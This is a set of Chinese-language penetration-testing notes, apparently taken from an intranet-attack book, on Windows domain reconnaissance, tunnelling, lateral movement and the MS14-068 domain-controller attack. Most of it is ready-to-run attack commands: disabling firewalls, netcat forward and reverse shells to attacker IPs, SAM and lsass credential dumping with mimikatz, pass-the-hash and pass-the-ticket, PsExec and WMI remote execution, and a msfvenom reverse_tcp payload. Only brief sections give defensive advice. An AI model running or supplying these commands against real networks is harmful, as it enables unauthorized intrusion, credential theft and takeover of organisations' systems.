第二章-内网信息收集
2.1 ================= 工作组手动信息收集 ==================
1.查询网络配置信息
ipconfig /all
2.查询操作系统及软件信息
systeminfo
查看系统体系结构
echo %PROCESSOR_ARCHItECTURE%
查看安装的软件及版本及路径
wmic product get name,version
3.查询本机服务信息
wmic service list brief
4.查询进程列表
tasklist /v
查看详细信息
wmic process list brief
5.查看启动程序信息
wmic startup get command,caption
6.查看计划任务
schtasks /query /fo LIST /v
7.查看主机开机时间
net statistics workstation
8.查询用户列表
net user
获得本地管理员信息
net localgroup administrators
查看在线用户
query user || qwinsta
9.列出会话
net session
10.查看端口列表
netstat -ano
11.查看补丁
systeminfo
wmic qfe get Caption,Description,HotFixID,InstalledOn
12.查询本机共享列表
net share
wmic share get name,path,status
13.查询路由表和ARP缓存表
route print
arp -a
14.查询防火墙
(1)关闭防火墙
#win_server2003及以前版本
netsh firewall set opmode disable
#win_server2003之后版本
netsh advfirewall set allprofiles state off
(2)查看防火墙配置
netsh firewall show config
(3)修改防火墙配置
Windows Server 2003 系统及之前版本,允许指定程序全部连接,命令如下。
netsh firewall add allowedprogram c:\nc.exe "allow nc" enable
Windows Server 2003 之后系统版本,情况如下。
允许指定程序连入,命令如下。
netsh advfirewall firewall add rule name="pass nc" dir=in action=allow program="C:\nc.exe"
允许指定程序连出,命令如下。
netsh advfirewall firewall add rule name="Allow nc" dir=out action=allow program="C:\nc.exe"
允许 3389 端口放行,命令如下。
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
(4)自定义防火墙日志储存位置
netsh advfirewall set currentprofile logging filename "C:\windows\temp\fw.log"
15.查看代理配置情况
reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
16.查询并开启远程连接服务
(1)查看远程连接端口
在cmd下使用注册表查询语句,命令如下,得到连接端口为 0xd3d,转换后为 3389
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /V PortNumber
(2)在 Windows Server2003中开启3389端口
wmic path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1
(3)在 Windows Server 2008 和 Windows Server 2012 中开启 3389 端口
wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1
wmic /namespace:\\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName='RDP-Tcp') call setuserauthenticationrequired 1
reg add "HKLM\SYSTEM\CURRENT\CONTROLSET\CONTROL\TERMINAL SERVER" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f
2.2 ============= 自动信息收集 ================
#Empire下的信息收集
(Empire: W12MRC5H) > usemodule situational_awareness/host/winenum
(Empire: powershell/situational_awareness/host/winenum) > execute
2.3 ==============查询当前权限=================
查看当前权限
whoami
获取域 SID
whoami /all #获取域 SID
查询指定账户的详细信息
net user XXX /domain #查询指定账户的详细信息
2.4 ===============判断是否有域==================
1.使用 ipconfig 命令
ipconfig /all #执行如下命令,可以查看网关 P地址、DNS的IP地址、本地地址是否和DNS服务器为同一网段、域名等
nslookup hello.testlab #通过反向解析查询命令 nslookup 来解析域名的IP地址。使用解析出来的IP地址进行对比,判断域控制器和DNS服务器是否在同一台服务器上
2.查看系统详细信息
systeminfo #如下图所示域即域名,登录服务器为域控制器。如果域显示为WORKGROUP,表示当前服务器不在域内。当前域名为hello.testlab。
3.查询当前登录域及登录用户信息
net config workstation ##工作站域DNS名称显示域名(如果显示为 WORKGROUP,则表示非域环境)。登录域表明当前用户是域用户登录还是本地用户登录,此处表明当前用户是本地登录。
4.判断主域
net time /domain #执行如下命令,判断主域,一般域服务器都会同时作为时间服务器。
1.存在域,但当前用户不是域用户,提示'发生系统错误5'
2.存在域,并且当前用户是域用户,提示'DC.hello.testlab 的时间是xxx'
3.当前网络环境为工作组,不存在域,提示'找不到域xxx的控制器'
2.5 ==================探测域内存活主机=============
1.利用 NetBIOS 快速探测内网
nbtscan 192.168.1.0/24
nbtscan.exe 192.168.1.0/24
2.利用 ICMP 协议快速探测内网
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.1.%I | findstr "TTL="
2.6 ====================扫描域内端口=================
1.探测主机端口
telnet DC 22
telnet DC 1443
2.S扫描器
S.exe TCP 192.168.1.1 192.168.1.254 445,3389,1433,7001,1099,8080,80,22,23,21,25,110,3306,5432,1521,6379,2049,111 256 /Banner /save
#S 扫描器是早期的一种比较快速的端口扫描工具,特别适合运行在 Windows Sever2003 以下的平台上,支持大网段扫描
3.Metasploit 端口扫描
msf5 > use auxiliary/scanner/portscan/tcp
msf5 auxiliary(scanner/portscan/tcp) > show options
msf5 auxiliary(scanner/portscan/tcp) > set RHOSTS 192.168.1.2
RHOSTS => 192.168.1.2
msf5 auxiliary(scanner/portscan/tcp) > set PORTS 1-1024
PORTS => 1-1024
msf5 auxiliary(scanner/portscan/tcp) > set THREADS 100
THREADS => 100
msf5 auxiliary(scanner/portscan/tcp) > run
2.7===================收集域内基础信息=================
1.查询域
net view /domain
2.查询域内所有计算机
net view /domain:HACKE
3.查询用户组列表
net group /domain
Domain Admins:域管理员组。
Domain Computers:域内机器。
Domain Controllers:域控制器。
Domain Guest:域访客组,权限较低。
Domain Users:域用户。
Enterprise Admins:企业系统管理员用户。
在默认情况下,Domain Admins 和 Enterprise Admins 对域内所有域控制器有完全控制权限。
4.查询域内计算机列表
net group "domain computers" /domain
5.获取域密码信息
net account domain #获得域密码策略设置、密码长短、错误锁定等信息
6.获取信任信息
nltest /domain_trusts
2.8 ===================== 查找域控制器 ==================
1.查看域内控制器的机器名
nltest /DCLIST:hacke
2.查看域控制器的主机名(dc.hacke.testlab)
Nslookup -type=SRV _ldap._tcp
3.查看当前时间
net time /domain #一般时间服务器未主域控服务器
4.查看域控制器组
net group "Domain Controllers" /domain
netdom query pdc #在真实环境中,一般存在两台或两台以上的域控制器,其目的是:一旦主域控制器发生故障,备用的域控制器可以使域内服务验证正常进行。
2.9 ================ 获取域内的用户和管理员信息 =================
1.向域控制器进行查询
net user /domain
2.获取域内用户详细信息
wmic useraccount get /all
3.查看存在的用户
dsquery user
1 dsquery computer -查找目录中的计算机。
2 dsquery contact -查找目录中的联系人。
3 dsquery subnet -找目录中的子网。
4 dsquery group -查找目录中的组。
5 dsquery ou -查找目录中的组织单位。
6 dsquery site -查找目录中的站点。
7 dsquery server -查找目录中的AD DC/LDS实例。
8 dsquery user -查找目录中的用户。
9 dsquery quota -查找目录中的配额规定。
10 dsquery partition -查找目录中的分区。
11 dsquery * -用通用的LDAP查询来查找目录中的任何对象。
4.查询域内置本地管理员组用户
net localgroup administrators /domain
2.9.2 =================== 查询域管理员用户组 ==============
1.查询域管理员用户
net group "domain admins" /domain
2.查询管理员用户组
net group "Enterprise Admins" /domain
2.10 =================== 定位域管理员(工具) ================
psloggedon.exe
pveFindADUser.exe
netview.exe
Nmap 的 NSE 脚本
PowerView
Empire 下的 user_hunter 模块
第4章-隧道
判断内网连通性:
ICMP协议
ping
TCP协议:
linux:netcat(简称nc)#nc ip地址 端口
http协议:
curl www.baidu.com
(windows需安装curl命令)
DNS协议:
windows:nslooup www.baidu.com vsp-ip
linux:dig @vps-ip www.baidu.com
ICMP隧道
1.icmpsh:
vps
git clone https://github.com/inquisb/icmpsh.git
sysctl -w net.ipv4.icmp_echo_ignore_all=1 #关闭系统Ping命令应答,使用完后改为0
cd icmpsh
pip install impacket
./icmpsh_m.py 192.168.0.11 192.168.0.8 #192.168.0.11为本机攻击ip地址,192.168.0.8是目标的公网ip地址
#可以使用ping vpsip地址,tcpdump icmp来获取目标机器的公网ip
目标机器
icmpsh.exe -t 192.168.0.11 -d 500 -b 30 -s 128
2.pingtunnel
#在Web服务器192.168.1.4中输入如下命令:
ptunnel -x shuteer
#在VPS机器192.168.1.10中执行如下命令
ptunnel -p 192.168.1.4 -lp 1080 -da 1.1.1.10 -dp 3389 -x shuteer
-x:指定ICMP隧道连接的验证密码。
-lp:指定要监听的本地TCP端口。
-da:指定要转发的目标机器的IP地址。
-dp:指定要转发的目标机器的TCP端口。
-p:指定ICMP隧道另一端的机器的IP地址。
上述命令的含义是:在访问攻击者VPS ( 192.168.1.10 )的1080端口时,会把数据库服务器1.1.1.10 的3389端口的数据封装在ICMP隧道里,以 Web服务器192.168.1.4为ICMP隧道跳板进行传送。
3.防御ICMP隧道攻击的方法
a.检测同一来源的ICMP数据包的数量,一个正常的ping命令每秒最多发送两个数据包,而是要ICMP隧道的浏览器会在很短的时间内产生上千个ICMP数据包
b.注意那些Payload大于64bit的ICMP数据包
c.寻找响应数据包中的Payload与请求数据包中的Payload不一致的ICMP数据包
d.检查ICMP数据包的协议标签。例如,icmptunnel会在所有的ICMP Payload前面添加“TUNL"标记来标识隧道
传输层隧道技术
1.lcx端口转发
a.在目标机器上执行如下命令,将目标机器3389端口的所有数据转发到公网VPS的4444端口上。
lcx.exe -slave<公网主机IP地址>4444 127.0.0.1 3389
b.在VPS上执行如下命令,将本机4444端口上监听的所有数据转发到本机的5555端口上。
lcx.exe -listen 4444 5555
2.netcat
-d:后台模式。
-c:程序重定向。
-g <网关>:设置路由器跃程通信网关,最多可设置8个。
-G<指向器数目>:设置源路由指向器的数量,值为4的倍数。
-h:在线帮助。
-i<延迟秒数>:设置时间间隔,以便传送信息及扫描通信端口。
-l:使用监听模式,管理和控制传入的数据。
-n:直接使用IP地址(不通过域名服务器)
-o <输出文件>:指定文件名称,把往来传输的数据转换为十六进制字节码后保存在该文件中。
-p<通信端口>:设置本地主机使用的通信端口。
-r:随机指定本地与远程主机的通信端口。
-s<源地址>:设置本地主机送出数据包的IP地址。
-u:使用UDP传输协议。
-v:详细输出。
-w<超时秒数>:设置等待连线的时间。
-z:将输入/输出功能关闭,只在扫描通信端口时使用。
1.抓取Banner信息
nc -nv 192.168.123.103 21
2.连接远程主机
nc -nvv 192.168.11.135 80
3.端口扫描
nc -v 192.168.11.138 80
nc -v -z 192.168.11.138 20-1024
4.端口监听
nc -l -p 9999
5.文件传输
A主机:nc -lp 333 >1.txt
B主机:nc -vn 192.168.1.4333 < test.txt -q 1
6.简易聊天
A:nc -l -p 888
B:nc -vn 192.168.1.4 888
7.获取shell
a.正向shell
受害机:
nc -lvp 4444 -e /bin/sh //Linux
nc -lvp 4444 -e c:\windows\system32\cmd.exe //windows
攻击机:
nc 192.168.1.11 4444
b.反向shell
受害机:
nc 192.168.11.144 9999 -e /bin/sh //Linux
nc 192.168.11.144 9999 -e c:\windows\system32\cmd.exe //windows
攻击机:
nc -lvp 9999
8.内网代理
在VPS中输入如下命令
nc -lvp 3333
web服务器
nc -v 192.168.1.4 3333 -c "nc -v 1.1.1.200 3333"
数据库服务器
nc -lvp 3333 -e /bin/ sh
3.4 ========= 应用层隧道技术(linux/unix) =========
1.ssh协议
一个普通的SSH命令如下。
-C:压缩传输,提高传输速度。
-f:将SSH传输转入后台执行,不占用当前的Shell。
-N:建立静默连接(建立了连接,但是看不到具体会话)。
-g:允许远程主机连接本地用于转发的端口。
-L:本地端口转发。
-R:远程端口转发。
-D:动态转发(SOCKS代理)。
-P:指定SSH端口。
1.端口转发
本地转发
ssh -CfNg -L 1153(VPS端口):1.1.1.10(目标主机):3389(目标端口) root@192.168.1.11(跳板机)
远程转发
ssh -CfNg -R 3307(VPS端口):1.1.1.10(目标主机):3389(目标端口) root@192.168.1.4
动态转发(SOCKS代理)
#在vps上执行,在浏览器设置127.0.0.1:7000代理即可访问内网
ssh -CfNg -D 7000 root@192.168.1.11
2.防御 SSH隧道攻击的思路
SSH隧道之所以能被攻击者利用,主要是因为系统访问控制措施不够。在系统中配置SSH远程管理白名单,在ACL 中限制只有特定的IP地址才能连接SSH,以及设置系统完全使用带外管理等方法,都可以避免这一问题。
如果没有足够的资源来建立带外管理的网络结构,在内网中至少要限制SSH远程登录的地址和双向访问控制策略(从外部到内部;从内部到外部)。
3.5 =============== SOCKS代理 ==============
EarthWorm(全os)
1.正向socks5代理(目标有公网ip)
ew -s ssocked -l 888
2.反向socks5代理
VPS: ew -s rcsocks -l 1008 -e 888
web_server: ew -s rssocks -d 139.1.1.113 -e 888
通过设置代理139.1.1.113:1008使用web_server代理服务器
3.二级网络环境a
内网中的机器B:ew -s ssocksd -l 888
边界服务器A: ew -s lcx_tran -l 1080 -f A主机公网ip -g 888 #将1080端口收到的代理请求转发给内网中的机器B的888端口
4.二级网络环境b
A主机无公网ip,也无法访问内网。B主机可以访问内网,无法访问外网
VPS: ew -s lcx_listen -l 1080 -e 888 #在公网vps中添加转接隧道,将1080端口接收到的请求转发给888端口
主机B:ew -s ssocked -l 999 #ssocked方式启动999端口的socks代理
主机A:ew -s lcx_slave -d vpsip -e 888 -f A主机IP -g 999 #在A主机上利用lcx_slave方式,将vps的888端口和B主机的999端口连接起来
5.三级网络环境
#公网VPS上执行如下命令,将1080端口收到的代理请求转发给888端口。
ew -s rcsocks -l 1080 -e 888
#在A主机上执行如下命令,将公网VPS的888端口和B主机的999端口连接起来。
ew -s lcx slave -d 139.*.*.113 -e 888 -f 10.48.128.12 -g 999
#在B主机上执行如下命令,将999端口收到的代理请求转发给777端口。
ew -s lcxlisten -l 999 -e 777
#在C主机上启动SOCKS5服务,并反弹到B主机的777端口上,命令如下。
ew -s rssocks -d 10.48.128.12 -e 777
第五章-横向移动
使用ipc连接
net use \\192.168.1.106\ipc$ "ning" /user:ning
net use f: \\192.168.1.1\c$ "@dc123456" /user:"Ning" (即可将对方的c盘映射为自己的z盘,其他盘类推)
查看连接
net use
dir命令
dir \\192.168.43.247\c$
tasklist命令
tasklist /S 192.168.43.247 /U ning /P ning
查看目标时间
net time \\192.168.1.102
copy 命令
copy test.bat \\192.168.1.102\c$
设置任务
目标主机<=win server 2008
at \\192.168.1.102 16:45 c:\test.bat
目标主机>=win server 2012
schtasks /create /s 192.168.43.247 /tn test /sc onstart /tr c:\test.bat /ru system /f
执行任务
schtasks /run /s 192.168.43.247 /i /tn "test"
删除ipc$
net use \\192.168.43.3\ipc$ /del /y
--------导出明文或哈希(明文<=2008)
1.使用sam和system文件导出哈希
导出sam和system文件
reg save hklm\sam sam.hive
reg save hklm\system system.hive
通过mimikatz导出hash
lsadump::sam /sam:sam.hive /system:system.hive
开启reg add命令
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
2.使用mimikatz离线读取lsass.dmp文件
目标机:
Procdump.exe -accepteula -ma lsass.exe lsass.dmp
minikatz:
sekurlsa::minidump lsass.DMP
sekurlsa::logonPasswords full
--------------------------------------- windows server 2012
* Username : Administrator
* Domain : WIN-DRORIGCSR3A
* NTLM : 9bb8843ea315134b0b6be65b549a9235
* SHA1 : 151550c9d987e11c9dae2738e03dbcc855c5d4f
---------------------------------------
--------------mimikatz哈希传递
privilege::debug
sekurlsa::pth /user:Ning /domain:hacke.testlab /ntlm:0ef91438203428ca361c8ca653ef101a
-----------mimikatz票据传递
privilege::debug
sekurlsa::tickets /export 导出票据
kerberos::purge 删除所有票据
kerberos::ptt "路径" 将票据注入内存
-----------kekeo票据传递
生成票据:
kekeo "tgt::ask /user:administrator /domain:hacke.testlab /ntlm:*****"
清除内存中票据:
kerberos::purge
cmd中清除:klist purge
将票据导入内存:
kerberos::ptt TGT_administrator@PENTEST.COM_krbtgt~pentest.com@PENTEST.COM.kirbi
-------------PsExec
在建立$ipc情况下:
PsExec.exe -accepteula \\192.168.43.2 -s cmd.exe
-------------WMI
wmic /node:192.168.43.2 /user:administrator /password:admin process call create "cmd.exe /c ipconfig >ip.txt"
使用type查看:
type \\192.168.43.3\C$\ip.txt
第六章-域控渗透
监控卷影拷贝服务的使用情况
通过监控卷影拷贝服务的使用情况,可以及时发现攻击者在系统中进行的一些恶意操作。
监控卷影拷贝服务及任何涉及活动目录数据库文件(ntds.dit)的可疑操作行为。
监控System Event ID 7036(卷影拷贝服务进人运行状态的标志)的可疑实例,以及创建vssvc.exe进程的事件。
监控创建dkshndko.exe及相关子进程的事件。
监控客户端设备中的diskshadow.exe实例创建事件。除非业务需要, 在Windows操作系统中不应该出现diskshadow.exe.如果发现,应立刻将其删除。
通过日志监控新出现的逻辑驱动器映射事件。
MS14_068攻击流程
1.在Metasploit进行测试
use auxiliary/admin/kerberos/ms14_068_kerberos_checksum
设置参数
DOMAIN:域名。
PASSWORD:被提权用户的密码。
USER:被提权的用户。
USER_SID:被提权用户的SID。
exploit
填写所有信息后,输入“exploit”命令,会在/rootl.msf4/loot目录下生成文件20180715230259_default_172.16.86.130_windows.kerberos_839172.bin,如图6-59所示。
2.格式转换
msf不支持导入bin文件。使用mimikatz进行格式转化
kerberos::clist ".......bin" /export
3.msfvenom生成一个反向shell
msfvenom -p /windows/meterpreter/reverse_tcp LHOST=1.1.1.5 LPORT=7777 -f exe > shell.exe
4.msf设置监听
use exploit/multi/reverse_tcp
exploit
5.
getuid 查看权限
load kiwi
kerberos_ticket_use/tmp/...kirbi #导入票据
background
6.使用高权限票据进行测试
use exploit/windows/local/current_user_psexec
set payload windows/meterpreter/reverse_tcp
set TECHNIQUE PSH
set RHOSTS win2008.hello.com
set lhost 1.1.1.5
set session 1
exploit
6.6.5防范建议
开启Windows Update功能,进行自动更新。
手动下载补丁包进行修复。微软已经发布了修复该漏洞的补丁
对域内账号进行控制,禁止使用弱口令,及时、定期修改密码。
在服务器上安装反病毒软件,及时更新病毒库。